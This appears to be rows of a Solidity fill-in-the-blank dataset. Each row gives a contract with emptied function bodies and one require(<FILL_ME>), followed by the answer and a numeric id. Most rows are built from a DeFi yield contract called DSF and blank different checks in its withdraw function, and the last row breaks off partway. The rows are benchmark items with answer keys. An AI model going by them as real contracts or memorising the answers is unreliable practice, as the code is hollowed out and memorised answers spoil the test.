function tokenURI(uint256 tokenId) override public view returns (string memory) {
}
function baseTokenURI() virtual public view returns (string memory) {
}
function setFrozen(uint256 tokenId) external override onlyController {
}
function setCharred(uint256 tokenId) external override onlyController {
require(<FILL_ME>)
charred[tokenId] = true;
emit Charred(ownerOf(tokenId), tokenId);
}
function redeem(uint256 tokenId) external override onlyController {
}
function enhance(uint256 tokenId) external override onlyController returns (bool) {
}
function godTier(uint256 tokenId) external override onlyController returns (bool) {
}
function fail(uint256 tokenId) external override onlyController returns (bool) {
}
// ============ Params Setting Functions ============
function setBaseURI(string memory _newBaseURI) public onlyOwners {
}
}
| !charred[tokenId],"CHARRED YET" | 488,414 | !charred[tokenId] |
'DSF: withdrawal type not available' | //SPDX-License-Identifier: MIT
/**
*⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*⠀⠀⠀⠀⠈⢻⣿⠛⠻⢷⣄⠀⠀ ⣴⡟⠛⠛⣷⠀ ⠘⣿⡿⠛⠛⢿⡇⠀⠀⠀⠀
*⠀⠀⠀⠀⠀⢸⣿⠀⠀ ⠈⣿⡄⠀⠿⣧⣄⡀ ⠉⠀⠀ ⣿⣧⣀⣀⡀⠀⠀⠀⠀⠀
*⠀⠀⠀⠀⠀⢸⣿⠀⠀ ⢀⣿⠃ ⣀ ⠈⠉⠻⣷⡄⠀ ⣿⡟⠉⠉⠁⠀⠀⠀⠀⠀
*⠀⠀⠀⠀⢠⣼⣿⣤⣴⠿⠋⠀ ⠀⢿⣦⣤⣴⡿⠁ ⢠⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*
* - Defining Successful Future -
*
*/
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './interfaces/IStrategy.sol';
/**
*
* @title DSF (Defining Successful Future) Protocol
*
* @notice Contract for Convex&Curve protocols optimize.
* Users can use this contract for optimize yield and gas.
*
*
* @dev DSF is main contract.
* Contract does not store user funds.
* All user funds goes to Convex&Curve pools.
*
*/
contract DSF is ERC20, Pausable, AccessControl {
using SafeERC20 for IERC20Metadata;
bytes32 public constant OPERATOR_ROLE = keccak256('OPERATOR_ROLE');
struct PendingWithdrawal {
uint256 lpShares;
uint256[3] tokenAmounts;
}
struct PoolInfo {
IStrategy strategy;
uint256 startTime;
uint256 lpShares;
}
uint8 public constant POOL_ASSETS = 3;
uint256 public constant LP_RATIO_MULTIPLIER = 1e18;
uint256 public constant FEE_DENOMINATOR = 1000;
uint256 public constant MIN_LOCK_TIME = 1 days;
uint256 public constant FUNDS_DENOMINATOR = 10_000;
uint8 public constant ALL_WITHDRAWAL_TYPES_MASK = uint8(3);
PoolInfo[] internal _poolInfo;
uint256 public defaultDepositPid;
uint256 public defaultWithdrawPid;
uint8 public availableWithdrawalTypes;
address[POOL_ASSETS] public tokens;
uint256[POOL_ASSETS] public decimalsMultipliers;
mapping(address => uint256[POOL_ASSETS]) internal _pendingDeposits;
mapping(address => PendingWithdrawal) internal _pendingWithdrawals;
uint256 public totalDeposited = 0;
uint256 public managementFee = 150; // DFS Fee 15%
bool public launched = false;
event CreatedPendingDeposit(address indexed depositor, uint256[POOL_ASSETS] amounts);
event CreatedPendingWithdrawal(
address indexed withdrawer,
uint256 lpShares,
uint256[POOL_ASSETS] tokenAmounts
);
event Deposited(address indexed depositor, uint256[POOL_ASSETS] amounts, uint256 lpShares);
event Withdrawn(
address indexed withdrawer,
IStrategy.WithdrawalType withdrawalType,
uint256[POOL_ASSETS] tokenAmounts,
uint256 lpShares,
uint128 tokenIndex
);
event AddedPool(uint256 pid, address strategyAddr, uint256 startTime);
event FailedDeposit(address indexed depositor, uint256[POOL_ASSETS] amounts, uint256 lpShares);
event FailedWithdrawal(
address indexed withdrawer,
uint256[POOL_ASSETS] amounts,
uint256 lpShares
);
event SetDefaultDepositPid(uint256 pid);
event SetDefaultWithdrawPid(uint256 pid);
event ClaimedAllManagementFee(uint256 feeValue);
event AutoCompoundAll();
modifier startedPool() {
}
constructor(address[POOL_ASSETS] memory _tokens) ERC20('DSFLP', 'DSFLP') {
}
function poolInfo(uint256 pid) external view returns (PoolInfo memory) {
}
function pendingDeposits(address user) external view returns (uint256[POOL_ASSETS] memory) {
}
function pendingDepositsToken(address user, uint256 tokenIndex) external view returns (uint256) {
}
function pendingWithdrawals(address user) external view returns (PendingWithdrawal memory) {
}
function pause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setAvailableWithdrawalTypes(uint8 newAvailableWithdrawalTypes)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
/**
* @dev update managementFee, this is a DSF commission from protocol profit
* @param newManagementFee - minAmount 0, maxAmount FEE_DENOMINATOR - 1
*/
function setManagementFee(uint256 newManagementFee) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev Returns managementFee for strategy's when contract sell rewards
* @return Returns commission on the amount of profit in the transaction
* @param amount - amount of profit for calculate managementFee
*/
function calcManagementFee(uint256 amount) external view returns (uint256) {
}
/**
* @dev Claims managementFee from all active strategies
*/
function claimAllManagementFee() external {
}
function autoCompoundAll() external {
}
/**
* @dev Returns total holdings for all pools (strategy's)
* @return Returns sum holdings (USD) for all pools
*/
function totalHoldings() public view returns (uint256) {
}
/**
* @dev Returns price depends on the income of users
* @return Returns currently price of DSF
*/
function lpPrice() external view returns (uint256) {
}
/**
* @dev Returns number of pools
* @return number of pools
*/
function poolCount() external view returns (uint256) {
}
/**
* @dev in this func user sends funds to the contract and then waits for the completion
* of the transaction for all users
* @param amounts - array of deposit amounts by user
*/
function feesOptimizationDeposit(uint256[3] memory amounts) external whenNotPaused {
}
/**
* @dev in this func user sends pending withdraw to the contract and then waits
* for the completion of the transaction for all users
* @param lpShares - amount of DSF for withdraw
* @param tokenAmounts - array of amounts stablecoins that user want minimum receive
*/
function feesOptimizationWithdrawal(uint256 lpShares, uint256[POOL_ASSETS] memory tokenAmounts)
external
whenNotPaused
{
}
/**
* @dev DSF protocol owner complete all active pending deposits of users
* @param userList - dev send array of users from pending to complete
*/
function completeFeesOptimizationDeposits(address[] memory userList)
external
onlyRole(OPERATOR_ROLE)
startedPool
{
}
/**
* @dev DSF protocol owner complete all active pending withdrawals of users
* @param userList - array of users from pending withdraw to complete
*/
function completeFeesOptimizationWithdrawals(address[] memory userList)
external
onlyRole(OPERATOR_ROLE)
startedPool
{
}
function calcLpRatioSafe(uint256 outLpShares, uint256 strategyLpShares)
internal
pure
returns (uint256 lpShareRatio)
{
}
function completeFeesOptimizationWithdrawalsMk2(address[] memory userList)
external
onlyRole(OPERATOR_ROLE)
startedPool
{
}
/**
* @dev deposit in one tx, without waiting complete by dev
* @return Returns amount of lpShares minted for user
* @param amounts - user send amounts of stablecoins to deposit
*/
function deposit(uint256[POOL_ASSETS] memory amounts)
external
whenNotPaused
startedPool
returns (uint256)
{
}
/**
* @dev withdraw in one tx, without waiting complete by dev
* @param lpShares - amount of DSF for withdraw
* @param tokenAmounts - array of amounts stablecoins that user want minimum receive
*/
function withdraw(
uint256 lpShares,
uint256[POOL_ASSETS] memory tokenAmounts,
IStrategy.WithdrawalType withdrawalType,
uint128 tokenIndex
) external whenNotPaused startedPool {
require(<FILL_ME>)
IStrategy strategy = _poolInfo[defaultWithdrawPid].strategy;
address userAddr = _msgSender();
require(balanceOf(userAddr) >= lpShares, 'DSF: not enough LP balance');
require(
strategy.withdraw(
userAddr,
calcLpRatioSafe(lpShares, _poolInfo[defaultWithdrawPid].lpShares),
tokenAmounts,
withdrawalType,
tokenIndex
),
'DSF: incorrect withdraw params'
);
uint256 userDeposit = (totalDeposited * lpShares) / totalSupply();
_burn(userAddr, lpShares);
_poolInfo[defaultWithdrawPid].lpShares -= lpShares;
totalDeposited -= userDeposit;
emit Withdrawn(userAddr, withdrawalType, tokenAmounts, lpShares, tokenIndex);
}
function calcWithdrawOneCoin(uint256 lpShares, uint128 tokenIndex)
external
view
returns (uint256 tokenAmount)
{
}
function calcSharesAmount(uint256[3] memory tokenAmounts, bool isDeposit)
external
view
returns (uint256 lpShares)
{
}
/**
* @dev add a new pool, deposits in the new pool are blocked for one day for safety
* @param _strategyAddr - the new pool strategy address
*/
function addPool(address _strategyAddr) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev set a default pool for deposit funds
* @param _newPoolId - new pool id
*/
function setDefaultDepositPid(uint256 _newPoolId) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev set a default pool for withdraw funds
* @param _newPoolId - new pool id
*/
function setDefaultWithdrawPid(uint256 _newPoolId) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function launch() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev dev can transfer funds from few strategy's to one strategy for better APY
* @param _strategies - array of strategy's, from which funds are withdrawn
* @param withdrawalsPercents - A percentage of the funds that should be transfered
* @param _receiverStrategyId - number strategy, to which funds are deposited
*/
function moveFundsBatch(
uint256[] memory _strategies,
uint256[] memory withdrawalsPercents,
uint256 _receiverStrategyId
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _moveFunds(uint256 pid, uint256 withdrawAmount) private returns (uint256) {
}
/**
* @dev user remove his active pending deposit
*/
function removePendingDeposit() external {
}
function removePendingWithdrawal() external {
}
/**
* @dev governance can withdraw all stuck funds in emergency case
* @param _token - IERC20Metadata token that should be fully withdraw from DSF
*/
function withdrawStuckToken(IERC20Metadata _token) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev governance can add new operator for complete pending deposits and withdrawals
* @param _newOperator - address that governance add in list of operators
*/
function updateOperator(address _newOperator) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Get bit value at position
function checkBit(uint8 mask, uint8 bit) internal pure returns (bool) {
}
}
| checkBit(availableWithdrawalTypes,uint8(withdrawalType)),'DSF: withdrawal type not available' | 488,429 | checkBit(availableWithdrawalTypes,uint8(withdrawalType)) |
'DSF: not enough LP balance' | //SPDX-License-Identifier: MIT
/**
*⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*⠀⠀⠀⠀⠈⢻⣿⠛⠻⢷⣄⠀⠀ ⣴⡟⠛⠛⣷⠀ ⠘⣿⡿⠛⠛⢿⡇⠀⠀⠀⠀
*⠀⠀⠀⠀⠀⢸⣿⠀⠀ ⠈⣿⡄⠀⠿⣧⣄⡀ ⠉⠀⠀ ⣿⣧⣀⣀⡀⠀⠀⠀⠀⠀
*⠀⠀⠀⠀⠀⢸⣿⠀⠀ ⢀⣿⠃ ⣀ ⠈⠉⠻⣷⡄⠀ ⣿⡟⠉⠉⠁⠀⠀⠀⠀⠀
*⠀⠀⠀⠀⢠⣼⣿⣤⣴⠿⠋⠀ ⠀⢿⣦⣤⣴⡿⠁ ⢠⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*
* - Defining Successful Future -
*
*/
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './interfaces/IStrategy.sol';
/**
*
* @title DSF (Defining Successful Future) Protocol
*
* @notice Contract for Convex&Curve protocols optimize.
* Users can use this contract for optimize yield and gas.
*
*
* @dev DSF is main contract.
* Contract does not store user funds.
* All user funds goes to Convex&Curve pools.
*
*/
contract DSF is ERC20, Pausable, AccessControl {
using SafeERC20 for IERC20Metadata;
bytes32 public constant OPERATOR_ROLE = keccak256('OPERATOR_ROLE');
struct PendingWithdrawal {
uint256 lpShares;
uint256[3] tokenAmounts;
}
struct PoolInfo {
IStrategy strategy;
uint256 startTime;
uint256 lpShares;
}
uint8 public constant POOL_ASSETS = 3;
uint256 public constant LP_RATIO_MULTIPLIER = 1e18;
uint256 public constant FEE_DENOMINATOR = 1000;
uint256 public constant MIN_LOCK_TIME = 1 days;
uint256 public constant FUNDS_DENOMINATOR = 10_000;
uint8 public constant ALL_WITHDRAWAL_TYPES_MASK = uint8(3);
PoolInfo[] internal _poolInfo;
uint256 public defaultDepositPid;
uint256 public defaultWithdrawPid;
uint8 public availableWithdrawalTypes;
address[POOL_ASSETS] public tokens;
uint256[POOL_ASSETS] public decimalsMultipliers;
mapping(address => uint256[POOL_ASSETS]) internal _pendingDeposits;
mapping(address => PendingWithdrawal) internal _pendingWithdrawals;
uint256 public totalDeposited = 0;
uint256 public managementFee = 150; // DFS Fee 15%
bool public launched = false;
event CreatedPendingDeposit(address indexed depositor, uint256[POOL_ASSETS] amounts);
event CreatedPendingWithdrawal(
address indexed withdrawer,
uint256 lpShares,
uint256[POOL_ASSETS] tokenAmounts
);
event Deposited(address indexed depositor, uint256[POOL_ASSETS] amounts, uint256 lpShares);
event Withdrawn(
address indexed withdrawer,
IStrategy.WithdrawalType withdrawalType,
uint256[POOL_ASSETS] tokenAmounts,
uint256 lpShares,
uint128 tokenIndex
);
event AddedPool(uint256 pid, address strategyAddr, uint256 startTime);
event FailedDeposit(address indexed depositor, uint256[POOL_ASSETS] amounts, uint256 lpShares);
event FailedWithdrawal(
address indexed withdrawer,
uint256[POOL_ASSETS] amounts,
uint256 lpShares
);
event SetDefaultDepositPid(uint256 pid);
event SetDefaultWithdrawPid(uint256 pid);
event ClaimedAllManagementFee(uint256 feeValue);
event AutoCompoundAll();
modifier startedPool() {
}
constructor(address[POOL_ASSETS] memory _tokens) ERC20('DSFLP', 'DSFLP') {
}
function poolInfo(uint256 pid) external view returns (PoolInfo memory) {
}
function pendingDeposits(address user) external view returns (uint256[POOL_ASSETS] memory) {
}
function pendingDepositsToken(address user, uint256 tokenIndex) external view returns (uint256) {
}
function pendingWithdrawals(address user) external view returns (PendingWithdrawal memory) {
}
function pause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setAvailableWithdrawalTypes(uint8 newAvailableWithdrawalTypes)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
/**
* @dev update managementFee, this is a DSF commission from protocol profit
* @param newManagementFee - minAmount 0, maxAmount FEE_DENOMINATOR - 1
*/
function setManagementFee(uint256 newManagementFee) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev Returns managementFee for strategy's when contract sell rewards
* @return Returns commission on the amount of profit in the transaction
* @param amount - amount of profit for calculate managementFee
*/
function calcManagementFee(uint256 amount) external view returns (uint256) {
}
/**
* @dev Claims managementFee from all active strategies
*/
function claimAllManagementFee() external {
}
function autoCompoundAll() external {
}
/**
* @dev Returns total holdings for all pools (strategy's)
* @return Returns sum holdings (USD) for all pools
*/
function totalHoldings() public view returns (uint256) {
}
/**
* @dev Returns price depends on the income of users
* @return Returns currently price of DSF
*/
function lpPrice() external view returns (uint256) {
}
/**
* @dev Returns number of pools
* @return number of pools
*/
function poolCount() external view returns (uint256) {
}
/**
* @dev in this func user sends funds to the contract and then waits for the completion
* of the transaction for all users
* @param amounts - array of deposit amounts by user
*/
function feesOptimizationDeposit(uint256[3] memory amounts) external whenNotPaused {
}
/**
* @dev in this func user sends pending withdraw to the contract and then waits
* for the completion of the transaction for all users
* @param lpShares - amount of DSF for withdraw
* @param tokenAmounts - array of amounts stablecoins that user want minimum receive
*/
function feesOptimizationWithdrawal(uint256 lpShares, uint256[POOL_ASSETS] memory tokenAmounts)
external
whenNotPaused
{
}
/**
* @dev DSF protocol owner complete all active pending deposits of users
* @param userList - dev send array of users from pending to complete
*/
function completeFeesOptimizationDeposits(address[] memory userList)
external
onlyRole(OPERATOR_ROLE)
startedPool
{
}
/**
* @dev DSF protocol owner complete all active pending withdrawals of users
* @param userList - array of users from pending withdraw to complete
*/
function completeFeesOptimizationWithdrawals(address[] memory userList)
external
onlyRole(OPERATOR_ROLE)
startedPool
{
}
function calcLpRatioSafe(uint256 outLpShares, uint256 strategyLpShares)
internal
pure
returns (uint256 lpShareRatio)
{
}
function completeFeesOptimizationWithdrawalsMk2(address[] memory userList)
external
onlyRole(OPERATOR_ROLE)
startedPool
{
}
/**
* @dev deposit in one tx, without waiting complete by dev
* @return Returns amount of lpShares minted for user
* @param amounts - user send amounts of stablecoins to deposit
*/
function deposit(uint256[POOL_ASSETS] memory amounts)
external
whenNotPaused
startedPool
returns (uint256)
{
}
/**
* @dev withdraw in one tx, without waiting complete by dev
* @param lpShares - amount of DSF for withdraw
* @param tokenAmounts - array of amounts stablecoins that user want minimum receive
*/
function withdraw(
uint256 lpShares,
uint256[POOL_ASSETS] memory tokenAmounts,
IStrategy.WithdrawalType withdrawalType,
uint128 tokenIndex
) external whenNotPaused startedPool {
require(
checkBit(availableWithdrawalTypes, uint8(withdrawalType)),
'DSF: withdrawal type not available'
);
IStrategy strategy = _poolInfo[defaultWithdrawPid].strategy;
address userAddr = _msgSender();
require(<FILL_ME>)
require(
strategy.withdraw(
userAddr,
calcLpRatioSafe(lpShares, _poolInfo[defaultWithdrawPid].lpShares),
tokenAmounts,
withdrawalType,
tokenIndex
),
'DSF: incorrect withdraw params'
);
uint256 userDeposit = (totalDeposited * lpShares) / totalSupply();
_burn(userAddr, lpShares);
_poolInfo[defaultWithdrawPid].lpShares -= lpShares;
totalDeposited -= userDeposit;
emit Withdrawn(userAddr, withdrawalType, tokenAmounts, lpShares, tokenIndex);
}
function calcWithdrawOneCoin(uint256 lpShares, uint128 tokenIndex)
external
view
returns (uint256 tokenAmount)
{
}
function calcSharesAmount(uint256[3] memory tokenAmounts, bool isDeposit)
external
view
returns (uint256 lpShares)
{
}
/**
* @dev add a new pool, deposits in the new pool are blocked for one day for safety
* @param _strategyAddr - the new pool strategy address
*/
function addPool(address _strategyAddr) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev set a default pool for deposit funds
* @param _newPoolId - new pool id
*/
function setDefaultDepositPid(uint256 _newPoolId) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev set a default pool for withdraw funds
* @param _newPoolId - new pool id
*/
function setDefaultWithdrawPid(uint256 _newPoolId) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function launch() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev dev can transfer funds from few strategy's to one strategy for better APY
* @param _strategies - array of strategy's, from which funds are withdrawn
* @param withdrawalsPercents - A percentage of the funds that should be transfered
* @param _receiverStrategyId - number strategy, to which funds are deposited
*/
function moveFundsBatch(
uint256[] memory _strategies,
uint256[] memory withdrawalsPercents,
uint256 _receiverStrategyId
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _moveFunds(uint256 pid, uint256 withdrawAmount) private returns (uint256) {
}
/**
* @dev user remove his active pending deposit
*/
function removePendingDeposit() external {
}
function removePendingWithdrawal() external {
}
/**
* @dev governance can withdraw all stuck funds in emergency case
* @param _token - IERC20Metadata token that should be fully withdraw from DSF
*/
function withdrawStuckToken(IERC20Metadata _token) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev governance can add new operator for complete pending deposits and withdrawals
* @param _newOperator - address that governance add in list of operators
*/
function updateOperator(address _newOperator) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Get bit value at position
function checkBit(uint8 mask, uint8 bit) internal pure returns (bool) {
}
}
| balanceOf(userAddr)>=lpShares,'DSF: not enough LP balance' | 488,429 | balanceOf(userAddr)>=lpShares |
'DSF: incorrect withdraw params' | //SPDX-License-Identifier: MIT
/**
*⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*⠀⠀⠀⠀⠈⢻⣿⠛⠻⢷⣄⠀⠀ ⣴⡟⠛⠛⣷⠀ ⠘⣿⡿⠛⠛⢿⡇⠀⠀⠀⠀
*⠀⠀⠀⠀⠀⢸⣿⠀⠀ ⠈⣿⡄⠀⠿⣧⣄⡀ ⠉⠀⠀ ⣿⣧⣀⣀⡀⠀⠀⠀⠀⠀
*⠀⠀⠀⠀⠀⢸⣿⠀⠀ ⢀⣿⠃ ⣀ ⠈⠉⠻⣷⡄⠀ ⣿⡟⠉⠉⠁⠀⠀⠀⠀⠀
*⠀⠀⠀⠀⢠⣼⣿⣤⣴⠿⠋⠀ ⠀⢿⣦⣤⣴⡿⠁ ⢠⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*
* - Defining Successful Future -
*
*/
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './interfaces/IStrategy.sol';
/**
*
* @title DSF (Defining Successful Future) Protocol
*
* @notice Contract for Convex&Curve protocols optimize.
* Users can use this contract for optimize yield and gas.
*
*
* @dev DSF is main contract.
* Contract does not store user funds.
* All user funds goes to Convex&Curve pools.
*
*/
contract DSF is ERC20, Pausable, AccessControl {
using SafeERC20 for IERC20Metadata;
bytes32 public constant OPERATOR_ROLE = keccak256('OPERATOR_ROLE');
struct PendingWithdrawal {
uint256 lpShares;
uint256[3] tokenAmounts;
}
struct PoolInfo {
IStrategy strategy;
uint256 startTime;
uint256 lpShares;
}
uint8 public constant POOL_ASSETS = 3;
uint256 public constant LP_RATIO_MULTIPLIER = 1e18;
uint256 public constant FEE_DENOMINATOR = 1000;
uint256 public constant MIN_LOCK_TIME = 1 days;
uint256 public constant FUNDS_DENOMINATOR = 10_000;
uint8 public constant ALL_WITHDRAWAL_TYPES_MASK = uint8(3);
PoolInfo[] internal _poolInfo;
uint256 public defaultDepositPid;
uint256 public defaultWithdrawPid;
uint8 public availableWithdrawalTypes;
address[POOL_ASSETS] public tokens;
uint256[POOL_ASSETS] public decimalsMultipliers;
mapping(address => uint256[POOL_ASSETS]) internal _pendingDeposits;
mapping(address => PendingWithdrawal) internal _pendingWithdrawals;
uint256 public totalDeposited = 0;
uint256 public managementFee = 150; // DFS Fee 15%
bool public launched = false;
event CreatedPendingDeposit(address indexed depositor, uint256[POOL_ASSETS] amounts);
event CreatedPendingWithdrawal(
address indexed withdrawer,
uint256 lpShares,
uint256[POOL_ASSETS] tokenAmounts
);
event Deposited(address indexed depositor, uint256[POOL_ASSETS] amounts, uint256 lpShares);
event Withdrawn(
address indexed withdrawer,
IStrategy.WithdrawalType withdrawalType,
uint256[POOL_ASSETS] tokenAmounts,
uint256 lpShares,
uint128 tokenIndex
);
event AddedPool(uint256 pid, address strategyAddr, uint256 startTime);
event FailedDeposit(address indexed depositor, uint256[POOL_ASSETS] amounts, uint256 lpShares);
event FailedWithdrawal(
address indexed withdrawer,
uint256[POOL_ASSETS] amounts,
uint256 lpShares
);
event SetDefaultDepositPid(uint256 pid);
event SetDefaultWithdrawPid(uint256 pid);
event ClaimedAllManagementFee(uint256 feeValue);
event AutoCompoundAll();
modifier startedPool() {
}
constructor(address[POOL_ASSETS] memory _tokens) ERC20('DSFLP', 'DSFLP') {
}
function poolInfo(uint256 pid) external view returns (PoolInfo memory) {
}
function pendingDeposits(address user) external view returns (uint256[POOL_ASSETS] memory) {
}
function pendingDepositsToken(address user, uint256 tokenIndex) external view returns (uint256) {
}
function pendingWithdrawals(address user) external view returns (PendingWithdrawal memory) {
}
function pause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setAvailableWithdrawalTypes(uint8 newAvailableWithdrawalTypes)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
/**
* @dev update managementFee, this is a DSF commission from protocol profit
* @param newManagementFee - minAmount 0, maxAmount FEE_DENOMINATOR - 1
*/
function setManagementFee(uint256 newManagementFee) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev Returns managementFee for strategy's when contract sell rewards
* @return Returns commission on the amount of profit in the transaction
* @param amount - amount of profit for calculate managementFee
*/
function calcManagementFee(uint256 amount) external view returns (uint256) {
}
/**
* @dev Claims managementFee from all active strategies
*/
function claimAllManagementFee() external {
}
function autoCompoundAll() external {
}
/**
* @dev Returns total holdings for all pools (strategy's)
* @return Returns sum holdings (USD) for all pools
*/
function totalHoldings() public view returns (uint256) {
}
/**
* @dev Returns price depends on the income of users
* @return Returns currently price of DSF
*/
function lpPrice() external view returns (uint256) {
}
/**
* @dev Returns number of pools
* @return number of pools
*/
function poolCount() external view returns (uint256) {
}
/**
* @dev in this func user sends funds to the contract and then waits for the completion
* of the transaction for all users
* @param amounts - array of deposit amounts by user
*/
function feesOptimizationDeposit(uint256[3] memory amounts) external whenNotPaused {
}
/**
* @dev in this func user sends pending withdraw to the contract and then waits
* for the completion of the transaction for all users
* @param lpShares - amount of DSF for withdraw
* @param tokenAmounts - array of amounts stablecoins that user want minimum receive
*/
function feesOptimizationWithdrawal(uint256 lpShares, uint256[POOL_ASSETS] memory tokenAmounts)
external
whenNotPaused
{
}
/**
* @dev DSF protocol owner complete all active pending deposits of users
* @param userList - dev send array of users from pending to complete
*/
function completeFeesOptimizationDeposits(address[] memory userList)
external
onlyRole(OPERATOR_ROLE)
startedPool
{
}
/**
* @dev DSF protocol owner complete all active pending withdrawals of users
* @param userList - array of users from pending withdraw to complete
*/
function completeFeesOptimizationWithdrawals(address[] memory userList)
external
onlyRole(OPERATOR_ROLE)
startedPool
{
}
function calcLpRatioSafe(uint256 outLpShares, uint256 strategyLpShares)
internal
pure
returns (uint256 lpShareRatio)
{
}
function completeFeesOptimizationWithdrawalsMk2(address[] memory userList)
external
onlyRole(OPERATOR_ROLE)
startedPool
{
}
/**
* @dev deposit in one tx, without waiting complete by dev
* @return Returns amount of lpShares minted for user
* @param amounts - user send amounts of stablecoins to deposit
*/
function deposit(uint256[POOL_ASSETS] memory amounts)
external
whenNotPaused
startedPool
returns (uint256)
{
}
/**
* @dev withdraw in one tx, without waiting complete by dev
* @param lpShares - amount of DSF for withdraw
* @param tokenAmounts - array of amounts stablecoins that user want minimum receive
*/
function withdraw(
uint256 lpShares,
uint256[POOL_ASSETS] memory tokenAmounts,
IStrategy.WithdrawalType withdrawalType,
uint128 tokenIndex
) external whenNotPaused startedPool {
require(
checkBit(availableWithdrawalTypes, uint8(withdrawalType)),
'DSF: withdrawal type not available'
);
IStrategy strategy = _poolInfo[defaultWithdrawPid].strategy;
address userAddr = _msgSender();
require(balanceOf(userAddr) >= lpShares, 'DSF: not enough LP balance');
require(<FILL_ME>)
uint256 userDeposit = (totalDeposited * lpShares) / totalSupply();
_burn(userAddr, lpShares);
_poolInfo[defaultWithdrawPid].lpShares -= lpShares;
totalDeposited -= userDeposit;
emit Withdrawn(userAddr, withdrawalType, tokenAmounts, lpShares, tokenIndex);
}
function calcWithdrawOneCoin(uint256 lpShares, uint128 tokenIndex)
external
view
returns (uint256 tokenAmount)
{
}
function calcSharesAmount(uint256[3] memory tokenAmounts, bool isDeposit)
external
view
returns (uint256 lpShares)
{
}
/**
* @dev add a new pool, deposits in the new pool are blocked for one day for safety
* @param _strategyAddr - the new pool strategy address
*/
function addPool(address _strategyAddr) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev set a default pool for deposit funds
* @param _newPoolId - new pool id
*/
function setDefaultDepositPid(uint256 _newPoolId) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev set a default pool for withdraw funds
* @param _newPoolId - new pool id
*/
function setDefaultWithdrawPid(uint256 _newPoolId) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
